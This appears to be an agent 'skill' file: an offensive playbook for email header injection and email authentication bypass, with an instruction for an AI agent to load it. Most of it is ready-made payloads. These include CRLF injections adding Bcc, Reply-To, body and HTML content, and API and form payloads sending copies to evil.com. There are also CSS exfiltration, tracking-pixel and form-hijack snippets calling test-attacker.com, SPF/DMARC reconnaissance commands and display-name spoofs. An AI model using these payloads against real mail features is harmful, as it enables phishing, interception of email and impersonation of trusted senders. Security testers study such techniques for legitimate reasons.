email-header-injection

SKILL: Email Header Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.

0. RELATED ROUTING

• crlf-injection — general CRLF injection; email headers are a specific high-value sink
• ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
• open-redirect — redirect in password-reset emails as phishing amplification

1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: [email protected]\r\n
  Subject: Contact Form\r\n
  From: [email protected]\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: [email protected]\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: [email protected]\r\n

Encoding variants to try

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]

Result headers:
  From: John
  Cc: [email protected]
  Bcc: [email protected]
  ... (original headers continue)

2.3 Body Injection — Full Email Content Control

A blank line (\r\n\r\n) separates headers from body in SMTP:

Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 Reply-To Manipulation for Phishing

Payload in From name:
  IT Support%0d%0aReply-To:[email protected]

Victim sees "IT Support" as sender
Replies go to [email protected]

2.5 Content-Type Injection for HTML Phishing

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

3. COMMON VULNERABLE PATTERNS

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: [email protected]";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    [email protected]%0d%0aCc:[email protected]
// $subject injection: Hello%0d%0aBcc:[email protected]
// $headers injection: From: x%0d%0aBcc:[email protected]

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // injectable
    to: '[email protected]',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

4. SPF / DKIM / DMARC BYPASS TECHNIQUES

4.1 SPF (Sender Policy Framework) Bypass

SPF validates the MAIL FROM envelope sender IP against DNS TXT records.

# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...

# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed

4.2 DKIM (DomainKeys Identified Mail) Bypass

DKIM signs specific headers with a domain key. Bypass vectors:

# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim

4.3 DMARC (Domain-based Message Authentication) Bypass

DMARC requires SPF or DKIM to align with the From: header domain.

# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject

4.4 Display Name Spoofing (Works Everywhere)

Even with perfect SPF/DKIM/DMARC, display name is not authenticated:

From: "[email protected]" <[email protected]>
From: "IT Security Team - target.com" <[email protected]>
From: "[email protected] via Support" <[email protected]>

Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.

5. MAIL CLIENT RENDERING ATTACKS

CSS-based data exfiltration

<!-- In HTML email body -->
<style>
  #secret[value^="a"] { background: url('https://test-attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://test-attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

Remote image tracking

<img src="https://test-attacker.com/[email protected]&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->

Form action hijacking

<!-- Some email clients render forms -->
<form action="https://test-attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

6. CONTACT FORM / EMAIL API INJECTION

# REST API
POST /api/send-email {"to":"[email protected]\r\nBcc:[email protected]","subject":"Hello","body":"Test"}

# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

# GraphQL
mutation { sendEmail(to:"[email protected]\r\nBcc:[email protected]" subject:"Test" body:"Hello") }

7. TESTING METHODOLOGY

1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

8. DECISION TREE

Found email-sending feature?
│
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "[email protected]" <[email protected]>
│
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

9. QUICK REFERENCE — KEY PAYLOADS

# BCC injection via Subject
Subject: Hello%0d%0aBcc:[email protected]

# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com

# Reply-To hijack
From: Support%0d%0aReply-To:[email protected]

# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

# Display name spoof (no injection needed)
From: "[email protected]" <[email protected]>